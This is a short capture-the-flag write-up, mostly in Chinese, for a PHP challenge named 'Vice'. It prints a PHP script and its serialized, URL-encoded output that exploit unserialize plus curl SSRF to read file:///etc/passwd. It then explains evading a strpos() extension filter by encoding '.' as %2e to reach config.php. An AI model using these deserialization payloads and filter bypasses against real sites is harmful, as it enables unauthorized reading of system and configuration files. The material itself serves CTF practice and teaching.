Vice
Source code
看到了__construct
和 __destruct
就想到了反序列化;看到了curl,就想到了ssrf。应该就是反序列化结合ssrf读flag的考点了。
Trying to unserialize
首先测试一下反序列化配合ssrf的file协议,看看常规操作能不能读取文件。
首先根据源码,自己写php,将变量序列化输出
<?php
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
function __construct(){
$this->method = 'doit';
$this->url = 'file:///etc/passwd';
}
}
$test = new SHITS();
$a = serialize($test);
echo $a ;
echo "<br>";
echo urlencode($a);
?>
/*
输出:
O:5:"SHITS":5:{s:10:"SHITSurl";s:18:"file:///etc/passwd";s:13:"SHITSmethod";s:4:"doit";s:11:"SHITSaddr";N;s:11:"SHITShost";N;s:11:"SHITSname";N;}
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A18%3A%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
*/
可以发现,能成功读取/etc/passwd
这里有一个坑就是,在线url编码的并不能成功读取文件,php里面urlencode()函数编码的就可以成功读取,但是两者url解码结果是一样的。。后来通过“一起来找茬”发现,urlencode()多了'%00'这个东东,填坑!
Trying to read flag
既然能通过file协议读取文件,下一步之需要把flag的目录找到就可以了。但是也没说flag在哪个文件~所以首先尝试读一下源码里的config.php
,手动遍历网站目录,得到/var/www/html
,接下来就要考虑如何绕过限制了。
strpos()有一个bug,可以通过二次编码来绕过,
.
可以用%2e来代替。
而且curl可以自动对url进行解码,配合起来即可。
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
Bingo...